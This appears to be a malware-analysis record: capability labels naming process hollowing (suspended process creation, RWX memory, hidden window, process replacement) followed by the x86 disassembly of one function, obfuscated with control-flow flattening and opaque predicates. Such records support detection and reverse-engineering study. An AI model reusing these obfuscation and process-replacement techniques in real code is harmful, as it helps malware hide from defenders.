Function at 0x10008870
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x194
mov eax, dword [0x10077000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x19c], 0xce972e5e
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], eax
sub eax, 0x8032731c
je 0x10011e2d
jmp 0x100088ac
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8072847a
je 0x10012140
jmp 0x100088c2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x807bec85
je 0x10016770
jmp 0x100088d8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x809225cc
je 0x10013b95
jmp 0x100088ee
mov eax, dword [ebp - 0x1a0]
sub eax, 0x80e68541
je 0x1000e791
jmp 0x10008904
mov eax, dword [ebp - 0x1a0]
sub eax, 0x811ab710
je 0x10013fe7
jmp 0x1000891a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82870935
je 0x1001666a
jmp 0x10008930
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82ac4040
je 0x1000d445
jmp 0x10008946
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82d18cf5
je 0x100157ae
jmp 0x1000895c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82e1f2e3
je 0x10010086
jmp 0x10008972
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82f8b243
je 0x1001692f
jmp 0x10008988
mov eax, dword [ebp - 0x1a0]
sub eax, 0x831c0fda
je 0x1000d15e
jmp 0x1000899e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x831c324a
je 0x1000f849
jmp 0x100089b4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x831f5a7c
je 0x1000f091
jmp 0x100089ca
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83539506
je 0x100122d4
jmp 0x100089e0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8385f4c3
je 0x1000cda3
jmp 0x100089f6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83f0d13d
je 0x10016edf
jmp 0x10008a0c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x84834f50
je 0x100115be
jmp 0x10008a22
mov eax, dword [ebp - 0x1a0]
sub eax, 0x84c72ba1
je 0x10016524
jmp 0x10008a38
mov eax, dword [ebp - 0x1a0]
sub eax, 0x84f33c78
je 0x100101dc
jmp 0x10008a4e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85346c47
je 0x10012938
jmp 0x10008a64
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8559904c
je 0x10013981
jmp 0x10008a7a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85c4a637
je 0x1001142e
jmp 0x10008a90
mov eax, dword [ebp - 0x1a0]
sub eax, 0x86fd7ec1
je 0x10014693
jmp 0x10008aa6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8734fc18
je 0x10016192
jmp 0x10008abc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x87ddeba6
je 0x1000d98c
jmp 0x10008ad2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88dd09f2
je 0x10014803
jmp 0x10008ae8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88e49750
je 0x1000ef5f
jmp 0x10008afe
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8967ed17
je 0x10015b41
jmp 0x10008b14
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a529992
je 0x1000e4e4
jmp 0x10008b2a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a551670
je 0x1001695e
jmp 0x10008b40
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a6618cc
je 0x1000dd86
jmp 0x10008b56
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a8537ad
je 0x10012087
jmp 0x10008b6c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8ad2ffb0
je 0x100167fb
jmp 0x10008b82
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8afe062a
je 0x100133d2
jmp 0x10008b98
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8b8d8bf3
je 0x1000e19b
jmp 0x10008bae
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8b9259c3
je 0x10016d4c
jmp 0x10008bc4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8bea577a
je 0x1000edc5
jmp 0x10008bda
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8bffe1a0
je 0x1000cdd1
jmp 0x10008bf0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8c19f3ca
je 0x1000cd1d
jmp 0x10008c06
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8c6a171a
je 0x1000cf55
jmp 0x10008c1c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8c99e829
je 0x1000d2bb
jmp 0x10008c32
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8cce67d8
je 0x100113e5
jmp 0x10008c48
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8cdce584
je 0x1000d906
jmp 0x10008c5e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8cfa8d51
je 0x1000f392
jmp 0x10008c74
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8d8ac712
je 0x100104f1
jmp 0x10008c8a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8dbbe977
je 0x1001046c
jmp 0x10008ca0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8dd275c5
je 0x10015289
jmp 0x10008cb6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8e091233
je 0x1001084b
jmp 0x10008ccc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8e238824
je 0x10015da4
jmp 0x10008ce2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8e346dd6
je 0x1000f28f
jmp 0x10008cf8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8eb5eac8
je 0x100168d3
jmp 0x10008d0e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8f802ef1
je 0x1000fb27
jmp 0x10008d24
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8f88c3ee
je 0x1001646b
jmp 0x10008d3a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8fbcbc0b
je 0x1000ccaf
jmp 0x10008d50
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8fc682c4
je 0x1000f9ae
jmp 0x10008d66
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9012c624
je 0x10010b99
jmp 0x10008d7c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x901f406c
je 0x1000d09b
jmp 0x10008d92
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9021de17
je 0x1000e895
jmp 0x10008da8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9050c007
je 0x100127ed
jmp 0x10008dbe
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90db14e2
je 0x100157f8
jmp 0x10008dd4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90fc622b
je 0x1001497e
jmp 0x10008dea
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90fcb51a
je 0x10013465
jmp 0x10008e00
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9126442e
je 0x10013863
jmp 0x10008e16
mov eax, dword [ebp - 0x1a0]
sub eax, 0x914a467b
je 0x1001641e
mov dl, 1
mov eax, 0x4c166d1c
mov ecx, 0x67cbb9f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x1002452c]
movss dword [ebp - 0x118], xmm0
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
add edx, 0x5e9dda55
sub edx, 1
sub edx, 0x5e9dda55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa637f74
mov ecx, 0x8385f4c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dword [ebp - 0x19c], 0x7faf5fd9
jmp 0x10017290
mov dword [ebp - 0x19c], 0x4c166d1c
jmp 0x10017290
movss xmm0, dword [0x100247e0]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x19c], 0xd99db179
jmp 0x10017290
movss xmm0, dword [0x1002451c]
movss dword [ebp - 0x118], xmm0
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x56d2ea42
mov ecx, 0x4d6099e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x100247d4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x19c], 0xafcbcae8
jmp 0x10017290
movss xmm0, dword [0x10024518]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
sub edx, 0xa249494f
sub edx, 1
add edx, 0xa249494f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa44c903
mov ecx, 0x13009b97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x100247b4]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x19c], 0x964f275a
jmp 0x10017290
movss xmm0, dword [0x10024504]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
add edx, 0x8ebd816a
sub edx, 1
sub edx, 0x8ebd816a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb637d6ae
mov ecx, 0x87ddeba6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dword [ebp - 0x19c], 0x3de999b8
jmp 0x10017290
movss xmm0, dword [0x100244fc]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100244f8]
movss dword [ebp - 0x120], xmm0
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6281d9bb
mov ecx, 0x6fa17549
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dword [ebp - 0x19c], 0xad90d2d8
jmp 0x10017290
movss xmm0, dword [0x10024758]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x19c], 0x11b9a386
jmp 0x10017290
mov dword [ebp - 0x19c], 0xe2e7a626
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba2345
mov ecx, 0xedc4ecec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x100244cc]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
add edx, 0xd5a5db14
sub edx, 1
sub edx, 0xd5a5db14
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0bbdd21
mov ecx, 0xea4ff6f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dword [ebp - 0x19c], 0xf925f857
jmp 0x10017290
mov dl, 1
mov eax, 0x8e346dd6
mov ecx, 0x45e0b3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xba5a47e3
mov ecx, 0xa2118cff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dl, 1
mov eax, 0xfbe96461
mov ecx, 0x7aee24f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x10024704]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x19c], 0xbf084d60
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
add edx, 0xe0207c26
sub edx, 1
sub edx, 0xe0207c26
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd78e85c0
mov ecx, 0x7579ad4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x64ca0dcb
mov ecx, 0x28dfd26f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x100246e0]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100246dc]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x19c], 0xfda2270f
jmp 0x10017290
movss xmm0, dword [0x10024488]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
sub edx, 0x7502841a
sub edx, 1
add edx, 0x7502841a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb184114c
mov ecx, 0xe82e19e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
sub edx, 0x1c7fecd9
sub edx, 1
add edx, 0x1c7fecd9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf456846c
mov ecx, 0x5db83966
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x21a9071
mov ecx, 0x10f9f483
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x10024474]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
sub edx, 0x4b42f606
sub edx, 1
add edx, 0x4b42f606
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaccd85cc
mov ecx, 0xc26aa9f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dl, 1
mov eax, 0xa4057eb8
mov ecx, 0x943ef206
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe594a70
mov ecx, 0x85c4a637
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
add edx, 0x20afc647
sub edx, 1
sub edx, 0x20afc647
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe594a70
mov ecx, 0xde695eea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x31a69be
mov ecx, 0xdb74d3e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x10024438]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10024434]
movss dword [ebp - 0x144], xmm0
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
sub edx, 0xbff31083
sub edx, 1
add edx, 0xbff31083
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8852369
mov ecx, 0x77cdc0e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dword [ebp - 0x19c], 0x4562b5a6
jmp 0x10017290
mov dword [ebp - 0x19c], 0xb911fdb3
jmp 0x10017290
mov dword [ebp - 0x19c], 0x243b4215
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
sub edx, 0x61c450ae
sub edx, 1
add edx, 0x61c450ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xac91fcac
mov ecx, 0xa4edfd0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
sub edx, 0x2a27d323
sub edx, 1
add edx, 0x2a27d323
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef486a33
mov ecx, 0xd377ad71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
add edx, 0xb845f48
sub edx, 1
sub edx, 0xb845f48
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea32c7bd
mov ecx, 0x3479eba4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
movss xmm0, dword [0x10024580]
movss dword [ebp - 0x14c], xmm0
movss xmm0, dword [0x1002457c]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x19c], 0x1af32575
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
mov edx, ecx
sub edx, 0x8f44af82
sub edx, 1
add edx, 0x8f44af82
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8b9259c3
mov ecx, 0x4b1b182
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dl, 1
mov eax, 0xd12bf900
mov ecx, 0x9ba6ef5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
sub edx, 0x2368d643
sub edx, 1
add edx, 0x2368d643
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x19458e0a
mov ecx, 0xee5fe6cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d239649
mov ecx, 0xd38d6132
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x19c], 0x2a5fb63d
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x756b5810
mov ecx, 0xc46b65ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
add edx, 0x84468e1f
sub edx, 1
sub edx, 0x84468e1f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1635227f
mov ecx, 0x6ce5e806
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
add edx, 0x3dab35fd
sub edx, 1
sub edx, 0x3dab35fd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8c1a171
mov ecx, 0xb4c164f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dl, byte [ebp - 0x89]
mov eax, 0xbec74229
mov ecx, 0xaf82dfe3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov edx, dword [ebp - 0x88]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x7463cf09
or edx, ecx
or eax, 0x7463cf09
xor edx, 0xffffffff
and edx, eax
mov eax, 0x8967ed17
mov ecx, 0x11dccdaf
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dword [ebp - 0x19c], 0xdd27c7a4
jmp 0x10017290
mov ecx, dword [0x10078328]
mov eax, dword [0x10078324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x97406aa3
mov ecx, 0xed96e122
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov eax, dword [0x10078328]
mov ecx, dword [0x10078324]
mov edx, eax
sub edx, 0xbae58ead
sub edx, 1
add edx, 0xbae58ead
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc6096f9e
mov ecx, 0x2a6ab28e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10017290
mov dword [ebp - 0x19c], 0xb62c1295
jmp 0x10017290
mov dword [ebp - 0x19c], 0xe35e4dec
jmp 0x10017290
movss xmm0, dword [0x100244b4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x19c], 0xa6b0851f
jmp 0x10017290
movss xmm0, dword [0x10024498]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x19c], 0x46cd7b62
jmp 0x10017290
mov dword [ebp - 0x19c], 0xd09e8480
jmp 0x10017290
movss xmm0, dword [0x10024470]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x19c], 0x349677d9
jmp 0x10017290
movss xmm0, dword [0x10024468]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10024464]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x19c], 0xb8e17638
jmp 0x10017290
movss xmm0, dword [0x10024460]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x19c], 0xdea030da
jmp 0x10017290
mov dword [ebp - 0x19c], 0x9126442e
jmp 0x10017290
movss xmm0, dword [0x100243b0]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x19c], 0x1440cf49
jmp 0x10017290
jmp 0x10008890